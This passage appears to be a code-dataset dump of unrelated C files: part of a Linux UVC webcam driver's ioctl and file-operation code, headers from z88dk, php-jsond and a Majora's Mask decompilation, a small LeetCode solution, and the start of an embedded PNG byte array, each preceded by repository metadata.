if (uvc_trace_param & UVC_TRACE_IOCTL) {
uvc_printk(KERN_DEBUG, "uvc_v4l2_ioctl(");
v4l_printk_ioctl(NULL, cmd);
printk(")\n");
}
return video_usercopy(file, cmd, arg, uvc_v4l2_do_ioctl);
}
#ifdef CONFIG_COMPAT
struct uvc_xu_control_mapping32 {
__u32 id;
__u8 name[32];
__u8 entity[16];
__u8 selector;
__u8 size;
__u8 offset;
__u32 v4l2_type;
__u32 data_type;
compat_caddr_t menu_info;
__u32 menu_count;
__u32 reserved[4];
};
static int uvc_v4l2_get_xu_mapping(struct uvc_xu_control_mapping *kp,
const struct uvc_xu_control_mapping32 __user *up)
{
struct uvc_menu_info __user *umenus;
struct uvc_menu_info __user *kmenus;
compat_caddr_t p;
if (!access_ok(VERIFY_READ, up, sizeof(*up)) ||
__copy_from_user(kp, up, offsetof(typeof(*up), menu_info)) ||
__get_user(kp->menu_count, &up->menu_count))
return -EFAULT;
memset(kp->reserved, 0, sizeof(kp->reserved));
if (kp->menu_count == 0) {
kp->menu_info = NULL;
return 0;
}
if (__get_user(p, &up->menu_info))
return -EFAULT;
umenus = compat_ptr(p);
if (!access_ok(VERIFY_READ, umenus, kp->menu_count * sizeof(*umenus)))
return -EFAULT;
kmenus = compat_alloc_user_space(kp->menu_count * sizeof(*kmenus));
if (kmenus == NULL)
return -EFAULT;
kp->menu_info = kmenus;
if (copy_in_user(kmenus, umenus, kp->menu_count * sizeof(*umenus)))
return -EFAULT;
return 0;
}
static int uvc_v4l2_put_xu_mapping(const struct uvc_xu_control_mapping *kp,
struct uvc_xu_control_mapping32 __user *up)
{
struct uvc_menu_info __user *umenus;
struct uvc_menu_info __user *kmenus = kp->menu_info;
compat_caddr_t p;
if (!access_ok(VERIFY_WRITE, up, sizeof(*up)) ||
__copy_to_user(up, kp, offsetof(typeof(*up), menu_info)) ||
__put_user(kp->menu_count, &up->menu_count))
return -EFAULT;
if (__clear_user(up->reserved, sizeof(up->reserved)))
return -EFAULT;
if (kp->menu_count == 0)
return 0;
if (get_user(p, &up->menu_info))
return -EFAULT;
umenus = compat_ptr(p);
if (copy_in_user(umenus, kmenus, kp->menu_count * sizeof(*umenus)))
return -EFAULT;
return 0;
}
struct uvc_xu_control_query32 {
__u8 unit;
__u8 selector;
__u8 query;
__u16 size;
compat_caddr_t data;
};
static int uvc_v4l2_get_xu_query(struct uvc_xu_control_query *kp,
const struct uvc_xu_control_query32 __user *up)
{
u8 __user *udata;
u8 __user *kdata;
compat_caddr_t p;
if (!access_ok(VERIFY_READ, up, sizeof(*up)) ||
__copy_from_user(kp, up, offsetof(typeof(*up), data)))
return -EFAULT;
if (kp->size == 0) {
kp->data = NULL;
return 0;
}
if (__get_user(p, &up->data))
return -EFAULT;
udata = compat_ptr(p);
if (!access_ok(VERIFY_READ, udata, kp->size))
return -EFAULT;
kdata = compat_alloc_user_space(kp->size);
if (kdata == NULL)
return -EFAULT;
kp->data = kdata;
if (copy_in_user(kdata, udata, kp->size))
return -EFAULT;
return 0;
}
static int uvc_v4l2_put_xu_query(const struct uvc_xu_control_query *kp,
struct uvc_xu_control_query32 __user *up)
{
u8 __user *udata;
u8 __user *kdata = kp->data;
compat_caddr_t p;
if (!access_ok(VERIFY_WRITE, up, sizeof(*up)) ||
__copy_to_user(up, kp, offsetof(typeof(*up), data)))
return -EFAULT;
if (kp->size == 0)
return 0;
if (get_user(p, &up->data))
return -EFAULT;
udata = compat_ptr(p);
if (!access_ok(VERIFY_READ, udata, kp->size))
return -EFAULT;
if (copy_in_user(udata, kdata, kp->size))
return -EFAULT;
return 0;
}
#define UVCIOC_CTRL_MAP32 _IOWR('u', 0x20, struct uvc_xu_control_mapping32)
#define UVCIOC_CTRL_QUERY32 _IOWR('u', 0x21, struct uvc_xu_control_query32)
static long uvc_v4l2_compat_ioctl32(struct file *file,
unsigned int cmd, unsigned long arg)
{
union {
struct uvc_xu_control_mapping xmap;
struct uvc_xu_control_query xqry;
} karg;
void __user *up = compat_ptr(arg);
mm_segment_t old_fs;
long ret;
switch (cmd) {
case UVCIOC_CTRL_MAP32:
cmd = UVCIOC_CTRL_MAP;
ret = uvc_v4l2_get_xu_mapping(&karg.xmap, up);
break;
case UVCIOC_CTRL_QUERY32:
cmd = UVCIOC_CTRL_QUERY;
ret = uvc_v4l2_get_xu_query(&karg.xqry, up);
break;
default:
return -ENOIOCTLCMD;
}
old_fs = get_fs();
set_fs(KERNEL_DS);
ret = uvc_v4l2_ioctl(file, cmd, (unsigned long)&karg);
set_fs(old_fs);
if (ret < 0)
return ret;
switch (cmd) {
case UVCIOC_CTRL_MAP:
ret = uvc_v4l2_put_xu_mapping(&karg.xmap, up);
break;
case UVCIOC_CTRL_QUERY:
ret = uvc_v4l2_put_xu_query(&karg.xqry, up);
break;
}
return ret;
}
#endif
static ssize_t uvc_v4l2_read(struct file *file, char __user *data,
size_t count, loff_t *ppos)
{
uvc_trace(UVC_TRACE_CALLS, "uvc_v4l2_read: not implemented.\n");
return -EINVAL;
}
static int uvc_v4l2_mmap(struct file *file, struct vm_area_struct *vma)
{
struct uvc_fh *handle = file->private_data;
struct uvc_streaming *stream = handle->stream;
uvc_trace(UVC_TRACE_CALLS, "uvc_v4l2_mmap\n");
return uvc_queue_mmap(&stream->queue, vma);
}
static unsigned int uvc_v4l2_poll(struct file *file, poll_table *wait)
{
struct uvc_fh *handle = file->private_data;
struct uvc_streaming *stream = handle->stream;
uvc_trace(UVC_TRACE_CALLS, "uvc_v4l2_poll\n");
return uvc_queue_poll(&stream->queue, file, wait);
}
#ifndef CONFIG_MMU
static unsigned long uvc_v4l2_get_unmapped_area(struct file *file,
unsigned long addr, unsigned long len, unsigned long pgoff,
unsigned long flags)
{
struct uvc_fh *handle = file->private_data;
struct uvc_streaming *stream = handle->stream;
uvc_trace(UVC_TRACE_CALLS, "uvc_v4l2_get_unmapped_area\n");
return uvc_queue_get_unmapped_area(&stream->queue, pgoff);
}
#endif
const struct v4l2_file_operations uvc_fops = {
.owner = THIS_MODULE,
.open = uvc_v4l2_open,
.release = uvc_v4l2_release,
.unlocked_ioctl = uvc_v4l2_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl32 = uvc_v4l2_compat_ioctl32,
#endif
.read = uvc_v4l2_read,
.mmap = uvc_v4l2_mmap,
.poll = uvc_v4l2_poll,
#ifndef CONFIG_MMU
.get_unmapped_area = uvc_v4l2_get_unmapped_area,
#endif
};
|
29bdf379a2ab7de4b684a18c1e42b61f6879e61e
|
7f6c235b0598353549959c18f69eefd20b766907
|
/libsrc/_DEVELOPMENT/EXAMPLES/zxn/dot-command/ls/128/options.h
|
5320153a7a423d507f5df107eb165bbe9db55268
|
[
"ClArtistic"
] |
permissive
|
z88dk/z88dk
|
46dfd4905f36d99333173cadd0a660839befc9f0
|
8b07f37cc43c5d9ffe69b563c80763491d8faff7
|
refs/heads/master
| 2023-09-04T19:29:49.254958
| 2023-09-03T20:51:24
| 2023-09-03T20:51:24
| 54,035,569
| 820
| 263
|
NOASSERTION
| 2023-09-05T11:09:04
| 2016-03-16T13:48:16
|
Assembly
|
UTF-8
|
C
| false
| false
| 2,122
|
h
|
options.h
|
#ifndef _OPTIONS_H
#define _OPTIONS_H
#define OPT_TYPE_EXACT 0
#define OPT_TYPE_LEADING 1
typedef unsigned int (*optfunc_t)(unsigned char *, int, char **);
struct opt
{
unsigned char *name;
unsigned char type;
optfunc_t action;
};
#define OPT_ACTION_OK 0
extern unsigned int option_exec_a(void);
extern unsigned int option_exec_A(void);
extern unsigned int option_exec_B(void);
extern unsigned int option_exec_block_size(unsigned char *idx, int argc, char **argv);
extern unsigned int option_exec_h(void);
extern unsigned int option_exec_si(void);
extern unsigned int option_exec_s(void);
extern unsigned int option_exec_t(void);
extern unsigned int option_exec_gdf(void);
extern unsigned int option_exec_r(void);
extern unsigned int option_exec_S(void);
extern unsigned int option_exec_U(void);
extern unsigned int option_exec_t(void);
extern unsigned int option_exec_X(void);
extern unsigned int option_exec_time_long_iso(void);
extern unsigned int option_exec_time_iso(void);
extern unsigned int option_exec_time_locale(void);
extern unsigned int option_exec_color_never(void);
extern unsigned int option_exec_color_always(void);
extern unsigned int option_exec_F(void);
extern unsigned int option_exec_file_type(void);
extern unsigned int option_exec_indicator_style_none(void);
extern unsigned int option_exec_p(void);
extern unsigned int option_exec_Q(void);
extern unsigned int option_exec_C(void);
extern unsigned int option_exec_x(void);
extern unsigned int option_exec_m(void);
extern unsigned int option_exec_l(void);
extern unsigned int option_exec_one(void);
extern unsigned int option_exec_w(unsigned char *idx, int argc, char **argv);
extern unsigned int option_exec_width(unsigned char *idx, int argc, char **argv);
extern unsigned int option_exec_d(void);
extern unsigned int option_exec_R(void);
extern unsigned int option_exec_system(void);
extern unsigned int option_exec_help(void);
extern unsigned int option_exec_version(void);
extern unsigned int option_exec_lfn_on(void);
extern unsigned int option_exec_lfn_off(void);
extern unsigned int option_exec_lfn_both(void);
#endif
|
f4b90009fa5b1e43018039ab7371aa8750e3b476
|
d394f7593f5be83e020f5b8a6b888a1b07a91559
|
/php_jsond_compat.h
|
58cb74d0290987b2acb6076402f44b459140d81d
|
[
"PHP-3.01"
] |
permissive
|
bukka/php-jsond
|
c357d366bc8d14fae5960cf54a501064b23e9b17
|
587a413ee44579b9422ba36eec63bfd1734a5d16
|
refs/heads/master
| 2023-04-16T03:54:23.708832
| 2023-02-19T12:48:05
| 2023-02-19T12:48:05
| 17,069,849
| 144
| 29
| null | 2018-05-17T20:30:41
| 2014-02-21T21:14:39
|
C
|
UTF-8
|
C
| false
| false
| 2,618
|
h
|
php_jsond_compat.h
|
/*
+----------------------------------------------------------------------+
| Copyright (c) The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Author: Jakub Zelenka <bukka@php.net> |
+----------------------------------------------------------------------+
*/
/* The compatibility changes to support at least PHP 7.2 */
#ifndef PHP_JSOND_COMPAT_H
#define PHP_JSOND_COMPAT_H
/* Recursion protection changes */
#if PHP_VERSION_ID < 70300
#define PHP_JSON_HAS_APPLY_COUNT(_tht) (ZEND_HASH_GET_APPLY_COUNT(_tht) > 0)
#define PHP_JSON_GET_APPLY_COUNT ZEND_HASH_GET_APPLY_COUNT
#define PHP_JSON_INC_APPLY_COUNT ZEND_HASH_INC_APPLY_COUNT
#define PHP_JSON_DEC_APPLY_COUNT ZEND_HASH_DEC_APPLY_COUNT
#define PHP_JSON_APPLY_PROTECTION ZEND_HASH_APPLY_PROTECTION
#else
#define PHP_JSON_HAS_APPLY_COUNT GC_IS_RECURSIVE
#define PHP_JSON_GET_APPLY_COUNT GC_IS_RECURSIVE
#define PHP_JSON_INC_APPLY_COUNT GC_PROTECT_RECURSION
#define PHP_JSON_DEC_APPLY_COUNT GC_UNPROTECT_RECURSION
#define PHP_JSON_APPLY_PROTECTION(_tht) (!(GC_FLAGS(_tht) & GC_IMMUTABLE))
#endif
/* zend_string_release_ex introduction */
#if PHP_VERSION_ID < 70300
#define PHP_JSOND_RELEASE_STRING zend_string_release
#else
#define PHP_JSOND_RELEASE_STRING(_str) zend_string_release_ex(_str, 0)
#endif
/* zend_std_write_property changes */
#if PHP_VERSION_ID < 80000
#define PHP_JSOND_WRITE_PROPERTY(_object, _key, _value) \
do { \
zval _zkey; \
ZVAL_NEW_STR(&_zkey, _key); \
zend_std_write_property(_object, &_zkey, _value, NULL); \
} while(0)
#else
#define PHP_JSOND_WRITE_PROPERTY(_object, _key, _value) \
zend_std_write_property(Z_OBJ_P(_object), _key, _value, NULL)
#endif
/* zend_dtoa sign type */
#if PHP_VERSION_ID < 80100
typedef int php_jsond_dtoa_sign_t;
#else
typedef bool php_jsond_dtoa_sign_t;
#endif
#endif /* PHP_JSOND_COMPAT_H */
|
a772b58be4f09426fd9580af85c905cdd3ec95e3
|
035660e8cc10571ebbd0d4393fef063bb7eb98f6
|
/include/z64jpeg.h
|
60797af9888e87d65b5488389b9afa72c8abd48c
|
[] |
no_license
|
zeldaret/mm
|
f163a5e7c4314105777369fa7671ce9c2a99922a
|
4ae00e909e74044f05155683b49d2561f91de7ba
|
refs/heads/master
| 2023-08-06T07:22:04.912966
| 2023-08-04T20:36:03
| 2023-08-04T20:36:03
| 247,875,852
| 915
| 328
| null | 2023-09-14T11:48:59
| 2020-03-17T04:03:07
|
C
|
UTF-8
|
C
| false
| false
| 3,439
|
h
|
z64jpeg.h
|
#ifndef Z64JPEG_H
#define Z64JPEG_H
#include "PR/ultratypes.h"
#include "ultra64/message.h"
#include "PR/sched.h"
typedef struct {
/* 0x00 */ u16 table[8*8];
} JpegQuantizationTable; // size = 0x80
typedef struct {
/* 0x00 */ u8 codeOffs[16];
/* 0x10 */ u16 codesA[16];
/* 0x30 */ u16 codesB[16];
/* 0x50 */ u8* symbols;
} JpegHuffmanTable; // size = 0x54
// this struct might be inaccurate but it's not used outside jpegutils.c
typedef struct {
/* 0x000 */ u8 codeOffs[16];
/* 0x010 */ u16 dcCodes[120];
/* 0x100 */ u16 acCodes[256];
} JpegHuffmanTableOld; // size = 0x300
typedef struct {
/* 0x00 */ void* address;
/* 0x04 */ u32 mbCount;
/* 0x08 */ u32 mode;
/* 0x0C */ void* qTableYPtr;
/* 0x10 */ void* qTableUPtr;
/* 0x14 */ void* qTableVPtr;
/* 0x18 */ char unk_18[0x8];
} JpegTaskData; // size = 0x20
typedef struct {
/* 0x000 */ JpegTaskData taskData;
/* 0x020 */ char yieldData[0x200];
/* 0x220 */ JpegQuantizationTable qTableY;
/* 0x2A0 */ JpegQuantizationTable qTableU;
/* 0x320 */ JpegQuantizationTable qTableV;
/* 0x3A0 */ u8 codesLengths[0x110];
/* 0x4B0 */ u16 codes[0x108];
/* 0x6C0 */ u16 data[4][0x180];
} JpegWork; // size = 0x12C0
typedef struct {
/* 0x00 */ void* imageData;
/* 0x04 */ u8 mode;
/* 0x05 */ u8 unk_05;
/* 0x08 */ JpegHuffmanTable* hTablePtrs[4];
/* 0x18 */ u8 unk_18;
} JpegDecoder; // size = 0x1C
typedef struct {
/* 0x00 */ u8 dqtCount;
/* 0x04 */ u8* dqtPtr[3];
/* 0x10 */ u8 dhtCount;
/* 0x14 */ u8* dhtPtr[4];
/* 0x24 */ void* imageData;
/* 0x28 */ u8 mode; // 0 if Y V0 is 1 and 2 if Y V0 is 2
/* 0x30 */ OSScTask scTask;
/* 0x98 */ OSMesgQueue mq;
/* 0xB0 */ OSMesg msg;
/* 0xB4 */ JpegWork* workBuf;
} JpegContext; // size = 0xB8
typedef struct {
/* 0x00 */ u32 byteIdx;
/* 0x04 */ u8 bitIdx;
/* 0x05 */ u8 dontSkip;
/* 0x08 */ u32 curWord;
/* 0x0C */ s16 unk_0C;
/* 0x0E */ s16 unk_0E;
/* 0x10 */ s16 unk_10;
} JpegDecoderState; // size = 0x14
void Jpeg_ScheduleDecoderTask(JpegContext* jpegCtx);
void Jpeg_CopyToZbuffer(u16* src, u16* zbuffer, s32 x, s32 y);
u16 Jpeg_GetUnalignedU16(u8* ptr);
void Jpeg_ParseMarkers(u8* ptr, JpegContext* jpegCtx);
s32 Jpeg_Decode(void* data, void* zbuffer, void* work, u32 workSize);
void JpegUtils_ProcessQuantizationTable(u8* dqt, JpegQuantizationTable* qt, u8 count);
s32 JpegUtils_ParseHuffmanCodesLengths(u8* ptr, u8* codesLengths);
s32 JpegUtils_GetHuffmanCodes(u8* codesLengths, u16* codes);
s32 JpegUtils_SetHuffmanTable(u8* data, JpegHuffmanTable* ht, u16* codes);
u32 JpegUtils_ProcessHuffmanTableImpl(u8* data, JpegHuffmanTable* ht, u8* codesLengths, u16* codes, u8 isAc);
u32 JpegUtils_ProcessHuffmanTable(u8* dht, JpegHuffmanTable* ht, u8* codesLengths, u16* codes, u8 count);
void JpegUtils_SetHuffmanTableOld(u8* data, JpegHuffmanTableOld* ht, u8* codesLengths, u16* codes, s16 count, u8 isAc);
u32 JpegUtils_ProcessHuffmanTableImplOld(u8* dht, JpegHuffmanTableOld* ht, u8* codesLengths, u16* codes);
s32 JpegDecoder_Decode(JpegDecoder* decoder, u16* mcuBuff, s32 count, u8 isFollowing, JpegDecoderState* state);
s32 JpegDecoder_ProcessMcu(JpegHuffmanTable* hTable0, JpegHuffmanTable* hTable1, u16* mcu, s16* unk);
s32 JpegDecoder_ParseNextSymbol(JpegHuffmanTable* hTable, s16* outCoeff, s8* outZeroCount);
u16 JpegDecoder_ReadBits(u8 len);
#endif
|
02087c6c5a877d024eaf106b1f2055513691c19d
|
25e99a0af5751865bce1702ee85cc5c080b0715c
|
/ds_algo/src/leetcode_v2/algorithms/ContainerWithMostWater/solve.c
|
dd5bac4ce67919ed8de5aa2ba641b56c1a1da30b
|
[
"MIT"
] |
permissive
|
jasonblog/note
|
215837f6a08d07abe3e3d2be2e1f183e14aa4a30
|
4471f95736c60969a718d854cab929f06726280a
|
refs/heads/master
| 2023-05-31T13:02:27.451743
| 2022-04-04T11:28:06
| 2022-04-04T11:28:06
| 35,311,001
| 130
| 67
| null | 2023-02-10T21:26:36
| 2015-05-09T02:04:40
|
C
|
UTF-8
|
C
| false
| false
| 817
|
c
|
solve.c
|
#include <stdio.h>
#include <stdlib.h>
int maxArea(int a[], int n)
{
int max = -1;
int left = 0, right = n - 1;
for (int i = 1; i < n; ++i) {
int area = (a[left] <= a[right] ? a[left] : a[right]) * (right - left);
max = max < area ? area : max;
if (a[left] <= a[right]) {
int l = a[left];
left++;
while (left < right && a[left] <= l) {
left++;
}
} else {
int r = a[right];
right--;
while (left < right && a[right] <= r) {
right--;
}
}
}
return max;
}
int main(int argc, char** argv)
{
int a[] = {2, 3, 4, 1};
int b[] = {1, 2, 1};
printf("%d\n", maxArea(a, 4));
printf("%d\n", maxArea(b, 3));
return 0;
}
|
171fa7e6fbc1ed15ea3d65fe655ade58c5e92ac1
|
c13187570003b3ed3cc9c665f0aed1e6fbe1ca96
|
/static-resources/lprint-png.h
|
13089fb40c03ee3328c021a959ce2862081a19d1
|
[
"Apache-2.0"
] |
permissive
|
michaelrsweet/lprint
|
ef78666d57d356deb3a6af704bf6fc0d9c02d7c2
|
f5e547f50116f040ca7af780b46da96b4f2abe99
|
refs/heads/master
| 2023-08-29T01:01:37.143778
| 2023-06-07T10:44:43
| 2023-06-07T10:44:43
| 233,668,124
| 172
| 33
|
Apache-2.0
| 2023-01-04T16:18:22
| 2020-01-13T18:47:12
|
C
|
UTF-8
|
C
| false
| false
| 33,723
|
h
|
lprint-png.h
|
static const unsigned char lprint_png[] =
{
0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a,0x00,0x00,0x00,0x0d,0x49,0x48,0x44,0x52,
0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x80,0x08,0x06,0x00,0x00,0x00,0xc3,0x3e,0x61,
0xcb,0x00,0x00,0x04,0x19,0x69,0x43,0x43,0x50,0x6b,0x43,0x47,0x43,0x6f,0x6c,0x6f,
0x72,0x53,0x70,0x61,0x63,0x65,0x47,0x65,0x6e,0x65,0x72,0x69,0x63,0x52,0x47,0x42,
0x00,0x00,0x38,0x8d,0x8d,0x55,0x5d,0x68,0x1c,0x55,0x14,0x3e,0xbb,0x73,0x67,0x23,
0x24,0xce,0x53,0x6c,0x34,0x85,0x74,0xa8,0x3f,0x0d,0x25,0x0d,0x93,0x56,0x34,0xa1,
0xb4,0xba,0x7f,0xdd,0xdd,0x36,0x6e,0x96,0x49,0x36,0xda,0x22,0xe8,0x64,0xf6,0xee,
0xce,0x98,0xc9,0xce,0x38,0x33,0xbb,0xfd,0xa1,0x4f,0x45,0x50,0x7c,0x31,0xea,0x9b,
0x14,0xc4,0xbf,0xb7,0x80,0x20,0x28,0xf5,0x0f,0xdb,0x3e,0xb4,0x2f,0x95,0x0a,0x25,
0xda,0xd4,0x20,0x28,0x3e,0xb4,0xf8,0x83,0x50,0xe8,0x8b,0xa6,0xeb,0x99,0x3b,0x33,
0x99,0x69,0xba,0xb1,0xde,0x65,0xee,0x7c,0xf3,0x9d,0xef,0x9e,0x7b,0xee,0xb9,0x67,
0xef,0x05,0xe8,0xb9,0xaa,0x58,0x96,0x91,0x14,0x01,0x16,0x9a,0xae,0x2d,0x17,0x32,
0xe2,0x73,0x87,0x8f,0x88,0x3d,0x2b,0x90,0x84,0x87,0xa0,0x17,0x06,0xa1,0x57,0x51,
0x1d,0x2b,0x5d,0xa9,0x4c,0x02,0x36,0x4f,0x0b,0x77,0xb5,0x5b,0xdf,0x43,0xc2,0x7b,
0x5f,0xd9,0xd5,0xdd,0xfe,0x9f,0xad,0xb7,0x46,0x1d,0x15,0x20,0x71,0x1f,0x62,0xb3,
0xe6,0xa8,0x0b,0x88,0x8f,0x01,0xf0,0xa7,0x55,0xcb,0x76,0x01,0x7a,0xfa,0x91,0x1f,
0x3f,0xea,0x5a,0x1e,0xf6,0x62,0xe8,0xb7,0x31,0x40,0xc4,0x2f,0x7a,0xb8,0xe1,0x63,
0xd7,0xc3,0x73,0x3e,0x7e,0x8d,0x69,0x66,0xe4,0x2c,0xe2,0xd3,0x88,0x05,0x55,0x53,
0x6a,0x88,0x97,0x10,0x8f,0xcc,0xc5,0xf8,0x46,0x0c,0xfb,0x31,0xb0,0xd6,0x5f,0xa0,
0x4d,0x6a,0xeb,0xaa,0xe8,0xe5,0xa2,0x62,0x9b,0x75,0xdd,0xa0,0xb1,0x70,0xef,0x61,
0xfe,0x9f,0x6d,0xc1,0x68,0x85,0xf3,0x6d,0xc3,0xa7,0xcf,0x99,0x9f,0x3e,0x84,0xef,
0x61,0x5c,0xfb,0x2b,0x35,0x25,0xe7,0xe1,0x51,0xc4,0x4b,0xaa,0x92,0x9f,0x46,0xfc,
0x08,0xe2,0x6b,0x6d,0x7d,0xb6,0x1c,0xe0,0xdb,0x96,0x9b,0x91,0x11,0x3f,0x06,0x90,
0xdc,0xde,0x9a,0xaf,0xa6,0x11,0xef,0x44,0x5c,0xac,0xdb,0x07,0xaa,0xbe,0x9f,0xa4,
0xad,0xb5,0x8a,0x21,0x7e,0xe7,0x84,0x36,0xf3,0x2c,0xe2,0x2d,0x88,0xcf,0x37,0xe7,
0xca,0x53,0xc1,0xd8,0xab,0xaa,0x93,0xc5,0x9c,0xc1,0x76,0xc4,0xb7,0x35,0x5a,0xf2,
0xf2,0x3b,0x04,0xc0,0x89,0xba,0x5b,0x9a,0xf1,0xc7,0x72,0xfb,0x6d,0x53,0x9e,0xf2,
0xe7,0xe5,0xea,0x35,0x9a,0xcb,0x7b,0x79,0x44,0xfc,0xfa,0xbc,0x79,0x48,0xf6,0x7d,
0x72,0x9f,0x39,0xed,0xe9,0x7c,0xe8,0xf3,0x84,0x96,0x2d,0x07,0xfc,0xa5,0x97,0x94,
0x83,0x15,0xc4,0x83,0x88,0x7f,0xa1,0x46,0x41,0xf6,0xe7,0xe2,0xfe,0xb1,0xdc,0x4a,
0x10,0x03,0x19,0x6a,0x1a,0xe5,0x49,0x7f,0x2e,0x92,0xa3,0x0e,0x5b,0x2f,0xe3,0x5d,
0x6d,0xa6,0xe8,0xcf,0x4b,0x0c,0x17,0x37,0xd4,0x1f,0x4b,0x16,0xeb,0xfa,0x81,0x52,
0xa0,0xff,0x44,0xb3,0x8b,0x72,0x80,0xaf,0x59,0x06,0xab,0x51,0x8c,0x8d,0x4f,0xda,
0x2d,0xb9,0xea,0xeb,0xf9,0x51,0xc5,0xce,0x17,0x7c,0x9f,0x7c,0x85,0x36,0xab,0x81,
0x7f,0xbe,0x0d,0xb3,0x09,0x05,0x28,0x98,0x30,0x87,0xbd,0x0a,0x4d,0x58,0x03,0x11,
0x64,0x28,0x40,0x06,0xdf,0x16,0xd8,0x68,0xa9,0x83,0x0e,0x06,0x32,0x14,0xad,0x14,
0x19,0x8a,0x5f,0xa1,0x66,0x17,0x1b,0xe7,0xc0,0x3c,0xf2,0x3a,0xb4,0x99,0xcd,0xc1,
0xbe,0xc2,0x94,0xfe,0xc8,0xc8,0x5f,0x83,0xf9,0xb8,0xce,0xb4,0x2a,0x64,0x87,0x3e,
0x82,0x16,0xb2,0x1a,0xfc,0x8e,0xac,0x16,0xd3,0x65,0xf1,0xab,0x85,0x5c,0x63,0x13,
0x3f,0x7e,0x2c,0x37,0x02,0x3f,0x26,0x19,0x20,0x12,0xd9,0x83,0xcf,0x5e,0x32,0x49,
0xf6,0x91,0x71,0x32,0x01,0x22,0x79,0x8a,0x3c,0x4d,0xf6,0x93,0x1c,0xb2,0x13,0x64,
0xef,0xfa,0xd8,0x4a,0x6c,0x45,0x5e,0x3c,0x37,0xd6,0xfd,0xbc,0x8c,0x33,0x52,0xa6,
0x9b,0x45,0xdd,0x39,0xb4,0xbb,0xa0,0x60,0xff,0x33,0x2a,0x4c,0x5c,0x53,0xd7,0xac,
0x2c,0x0e,0xb6,0x86,0x23,0xcb,0x29,0xfb,0x05,0x5d,0xbd,0xfc,0xc6,0x5f,0xb1,0x5c,
0xe9,0x2c,0x37,0x51,0xb6,0xe2,0x19,0x9d,0xba,0x57,0xce,0xf9,0x5f,0xf9,0xeb,0xfc,
0x32,0xf6,0x2b,0xfc,0x6a,0xa4,0xe0,0x7f,0xe4,0x57,0xf1,0xb7,0x72,0xc7,0x5a,0xcc,
0xbb,0xb2,0x4c,0xc3,0xec,0x6c,0x58,0x73,0x77,0x55,0x1a,0x6d,0x06,0xe3,0x16,0xf0,
0xd1,0x99,0xc5,0x89,0xc5,0x1d,0xf3,0x71,0xf1,0xe4,0x57,0x0f,0x46,0x7e,0x96,0xc9,
0x99,0xe7,0xaf,0xf4,0x5d,0x3c,0x59,0x6f,0x2e,0x0e,0x46,0xac,0x97,0x05,0xfa,0x6a,
0xf9,0x56,0x19,0x4e,0x8d,0x44,0xac,0xf4,0x83,0xf4,0x87,0xb4,0x2c,0xbd,0x27,0x7d,
0x28,0xfd,0xc6,0xbd,0xcd,0x7d,0xca,0x7d,0xcd,0x7d,0xce,0x7d,0xc1,0x5d,0x02,0x91,
0x3b,0xcb,0x9d,0xe3,0xbe,0xe1,0x2e,0x70,0x1f,0x73,0x5f,0xc6,0xf6,0x6a,0xf3,0x1a,
0x5a,0xdf,0x7b,0x16,0x79,0x18,0xb7,0x67,0xe9,0x96,0x6b,0xac,0x4a,0x21,0x23,0x6c,
0x15,0x1e,0x16,0x72,0xc2,0x36,0xe1,0x51,0x61,0x32,0xf2,0x27,0x0c,0x08,0x63,0x42,
0x51,0xd8,0x81,0x96,0xad,0xeb,0xfb,0x16,0x9f,0x2f,0x9e,0x3d,0x1d,0x0e,0x63,0x1f,
0xe6,0xa7,0xfb,0x5c,0xbe,0x2e,0x56,0x01,0x89,0xfb,0xb1,0x02,0xf4,0x4d,0xfe,0x55,
0x55,0x54,0xe9,0x70,0x94,0x29,0x1d,0x56,0x6f,0x4d,0x38,0xbe,0x41,0x13,0x8c,0x24,
0x43,0x64,0x8c,0x94,0x36,0x54,0xf7,0xb8,0x57,0xf3,0xa1,0x22,0x95,0x4f,0xe5,0x52,
0x69,0x10,0x53,0x3b,0x53,0x13,0xa9,0xb1,0xd4,0x41,0x0f,0x87,0xb3,0xa6,0x76,0xa0,
0x6d,0x02,0xfb,0xfc,0x1d,0xd5,0xa9,0x6e,0xb2,0x52,0xea,0xd2,0x63,0xde,0x7d,0x02,
0x59,0xd3,0x3a,0x6e,0xeb,0x0d,0xcd,0x15,0x77,0x4b,0xd2,0x93,0x62,0x1a,0xaf,0x36,
0x2a,0x96,0x9a,0xea,0xe8,0x88,0xa8,0x18,0x86,0xc8,0x4c,0x8e,0x68,0x53,0x87,0xda,
0x6d,0x5a,0x1b,0x05,0xef,0xde,0xf4,0x8f,0xf4,0x9b,0x32,0xbb,0x0f,0x13,0x5b,0x2e,
0x47,0x9c,0xfb,0x0c,0xc0,0xbe,0x3f,0xf1,0xec,0xfb,0x2e,0xe2,0x8e,0xb4,0x00,0x96,
0x1c,0x80,0x81,0xc7,0x23,0x6e,0x18,0xcf,0xca,0x07,0xde,0x05,0x38,0xf3,0x84,0xda,
0xb2,0xdb,0xc1,0x1d,0x91,0x48,0x7c,0x0b,0xe0,0xd4,0xf7,0xec,0xf6,0xbf,0xfa,0x32,
0x78,0x7e,0xfd,0xd4,0xe9,0xdc,0xc4,0x73,0xac,0xe7,0x2d,0x80,0xb5,0x37,0x3b,0x9d,
0xbf,0xdf,0xef,0x74,0xd6,0x3e,0x40,0xff,0xab,0x00,0x67,0x8d,0x7f,0x01,0xa0,0x9f,
0x7c,0x55,0x03,0x5c,0x0b,0xef,0x00,0x00,0x00,0x38,0x65,0x58,0x49,0x66,0x4d,0x4d,
0x00,0x2a,0x00,0x00,0x00,0x08,0x00,0x01,0x87,0x69,0x00,0x04,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x1a,0x00,0x00,0x00,0x00,0x00,0x02,0xa0,0x02,0x00,0x04,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x80,0xa0,0x03,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x80,0x00,0x00,0x00,0x00,0x6b,0x46,0x26,0x4d,0x00,0x00,0x03,0x63,0x69,0x54,
0x58,0x74,0x58,0x4d,0x4c,0x3a,0x63,0x6f,0x6d,0x2e,0x61,0x64,0x6f,0x62,0x65,0x2e,
